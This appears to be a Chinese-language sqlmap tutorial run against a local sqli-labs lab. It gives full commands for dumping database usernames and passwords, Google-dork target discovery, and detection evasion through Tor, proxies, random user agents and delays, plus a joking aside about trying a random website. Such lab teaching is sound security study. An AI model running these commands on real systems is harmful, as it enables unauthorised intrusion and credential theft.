sqlmap 简单使用


环境:phpstudy:MySQL5.4.7


介绍

sqlmap是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入缺陷以及接管数据库服务器的过程。它有一个强大的检测引擎,许多适合于终极渗透测试的小众特性和广泛的开关,从数据库指纹、从数据库获取数据到访问底层文件系统和通过带外连接在操作系统上执行命令。
官方网址:http://sqlmap.org

1. 命令行对单一url进行探测

对单一url探测,使用参数-u或者--url

rul格式:http(s)????/targeturl[:port]/[...]

例如:

sqlmap -u "http://10.0.0.2/sqli-labs-master/Less-1?id=1" --banner

Banner信息,在banner信息中可以得到软件开发商,软件名称、版本、服务类型等信息

image-20210624144948763

2.扫描文件中的url

针对文本中的url进行注入扫描:

image-20210624145303390

sqlmap -m /work/url_text.text --banner

接着在这里就会自动的进行探测,如果我们使用相同的url(我们就是这么使用的),那么这里就不会反复探测同一个url了

image-20210624145759487

3.配置sqlmap.conf扫描url

image-20210624151014775

sqlmap -c /etc/sqlmap/sqlmap.conf

image-20210624151155200

结果都是一样的

4.利用Google hacking语法进行连接

sqlmap -g "inurl:.php?id=1"

由于连接校园网,故而不能使用,附上一张别人的

image-20210624152235318

2.请求参数设置1

1.sqlmap设置http方法

SQLmap会自动探测在过程中使用合适的http请求方法。但是在某些情况下,需要青志使用具体的请求方法。例如,put,强制指定 --method=METHOD

2.sqlmap设置post提交参数

强制修改:--method=post
隐式修改:data="username=admin"

例子:slq-labs

sqlmap -u "http://10.0.0.2/sqli-labs-master/Less-11/" --data="uname=admin&passwd=admin&submit=Submit" -f --banner

image-20210624160426171

image-20210624160624691

2.指定分隔符

如果&在post或者是get传递的参数中,那么就需要设置分隔符

--param-del=";"

直接使用;不加上设置的话会出问题

3.请求参数设置2

1.sqlmap设置user-agent

默认情况下,SQLmap使用如下用户代理头执行HTTP请求:sqlmap/1.0-dev-xxxxxx(http://sqlmap.org)

如果服务器能够进行一些防护,那么就会被阻挡

可以通过自定义用户代理作为选项的参数,可以使用选项user-agent来伪造它

此外,可以通过--random-agent,从user-agent.txt文件中随机选择一个代理头。

user-agent不能够乱写,如果乱写会报错,连接会中断。

通过sqlmap -hh,查看详细帮助,看如何写这个user-agent

image-20210624171829576

查看http头

利用wireshark抓包

image-20210624172245959

image-20210624172424664

使用随机agent
sqlmap -u "10.0.0.2/sqli-labs-master/less-1?id=1" --random-agent 

如果要对user-agent位置进行SQL注入探测,需要设置--level 3

http://10.0.0.2/sqli-labs-master/Less-18/

2.sqlmap设置host

level 5 检测

image-20210624175256249

3.sqlmap设置referer

伪造HTTP Referer值是可能的。默认是没有显式设置,HTTP请求不会发送HTTP引用头

4.sqlmap设置http

--headers="Host:www.host.com\nUser-agent:user-agent"
每一个头都需要写一个\n

4.sqlmap设置请求参数3

1.SQLmap设置HTTP协议认证

SQL中设置HTTP协议认证的参数:--auth-type和--auth-cred

其中--auth-type支持basic,digest,ntlm

--auth-cred认证语法为:username:password

针对弹出验证窗口的,这个账号密码需要时正常的账号密码

image-20210625163331396

2.SQLmap设置HTTP代理

隐藏真的ip

设置参数:--proxy,--proxy-cred,--proxy-file,--ignore-proxy

image-20210625163529960

--proxy设置代理格式:
如果不需要代理:
	--proxy http(s):ip[:port]
如果需要代理:使用--proxy-cred
	--proxy-cred username:password

--proxy-file用来设置多条代理在文件中

--ignore-proxy:忽略系统范围设置的HTTP(S)代理服务器

数据先发送到代理服务器,然后代理服务器的端口号发送到目标

随便找一个代理,随便找一个网站,然后。。。嘿嘿嘿,愿望是美好的,现实是残酷的,代理用不了

image-20210625173908517

然后考虑给整一个--proxy-file

image-20210625174919848

3.SQLmap设置Tor隐藏

隐藏网络地址

参数:--tor,--tor-port,--tor-type,--check-tor

首先需要安装tor
apt-get install tor
启动服务
service tor start
查看状态
service tor status

image-20210626182015982

sqlmap -u "http://10.0.0.2/sqli-labs-master/Less-18/" --data="uname=admin&passwd=admin&submit=Submit" --tor --tor-type https --check-tor

如果拥有自己的vps就可以使用tor网络进行扫描,隐藏真实的ip地址

4.SQLmap设置延迟

SQLmap探测过程中会发送大量的探测payload到目标,如果默认情况过快的发包速度会导致目标预警。为了避免这样的情况发生,可以在探测设置SQLmap发包延迟。默认情况下,不设置延迟。

--delay 0.5 设置延迟0.5秒

5.sqlmap设置请求参数4

1.SQLmap设置超时

在考虑超时HTTP(S)请求之前,可以指定等待的秒数。有效值是一个一个浮点数,可以为10.5秒。默认设置为30秒。

例如:--timeout 10.5

首先探测链接上对面的URL之后,才会发送http请求,接着才会触发--timeout设置。发送http请求,超过10.5秒都还没有接受到返回,SQLmap就会认为对方可能无法接受请求,可能就会重新发送新的请求。

image-20210626192712742

2.SQLmap设置重试次数

--retires count

image-20210626193044399

3.SQLmap设置随机化参数

在某些情况下,要对单一url中的某些参数进行探测, 如果只针对参数的固定值进行探测,服务器接受到之后,进行探测,很容易被服务器发现。所以就需要使用随机化参数来进行掩饰。

SQLmap可以指定每次请求期间随机更改其值的参数名称。长度和类型根据提供的原始值保持一致。

--randomize 参数名称

4.SQLmap设置日志过滤目标

日志郭晨中会记录大量信息,过滤具体目标进行探测

与使用选项-l使用从提供的日志解析的所有主机不同,可以使用python正则表达式,用来过滤所需的日志。

6.sqlmap设置请求参数5

1. SQLmap设置忽略401

忽略未授权响应

--ignore-401 参数用来忽略未验证错误

如果想测试偶尔返回http错误401(未授权的)站点,而想忽略它并在不提供凭证的情况下继续测试,可以使用--ignore-401

image-20210626201039048

2.SQLmap设置HTTP协议私钥

当web服务器需要适当的客户端证书用来身份验证的私钥时,可以使用这个选项。提供的应该是一个PEM格式的key_file,其中包含了证书和私钥。

--auth-file 文件名

3.SQLmap设置安全模式

保证会话的完整性

某些情况下,SQLmap会出现多次访问目标,不会正常的访问目标,从而导致链接的断开。

有时,如果执行了一定数量的不成功请求,则在此期间的web应用程序或检测技术就会销毁会话。这可能发生在SQLmap检测阶段或利用任何盲注类型。原因是SQL有效负载不一定返回输出,因此可能会向应用程序会话管理或技术检测发出信号。

--safe-url 指定url
--safe-post 指定对应提交的post参数
--safe-req  读取对应的文件,http文件内容
--safe-freq 对应多条探测,日志中的内容(上一句的加倍)

通过设置,SQLmap将访问每一个预定义数量的请求,而不对某个安全URL执行任何类型的注入。

尤其是大型探测是,以免因为连接的断开而导致失败。

4.SQLmap设置忽略URL编码

据参数的位置(例如GET),默认情况下它的值可以是URL编码的。在某些情况下,后端web服务器不遵循RFC标准,需要以原始的非编码形式发送值。在这种情况下使用--skip-urlencode。

--skip-urlencode	不进行url加密,如此发送大服务器之后进行对应的操作

获取数据库基本信息

sqlmap -u "http://10.0.0.2/sqli-labs-master/Less-12/" --data="uname=admin&passwd=admin&submit=Submit"

查询有哪些数据库

sqlmap -u "http://10.0.0.2/sqli-labs-master/Less-12/" --data="uname=admin&passwd=admin&submit=Submit"  -dbms mysql -dbs

查询security数据库中有哪些表

sqlmap -u "http://10.0.0.2/sqli-labs-master/Less-12/" --data="uname=admin&passwd=admin&submit=Submit"  -dbms mysql -D security -tables

查询tes数据库中security表有哪些字段

sqlmap -u "http://10.0.0.2/sqli-labs-master/Less-12/" --data="uname=admin&passwd=admin&submit=Submit"  -dbms mysql -D security -T users -columns

sqlmap -u "http://10.0.0.2/sqli-labs-master/Less-12/" --data="uname=admin&passwd=admin&submit=Submit"  -dbms mysql -D security -T users -C "id,username,password" -dump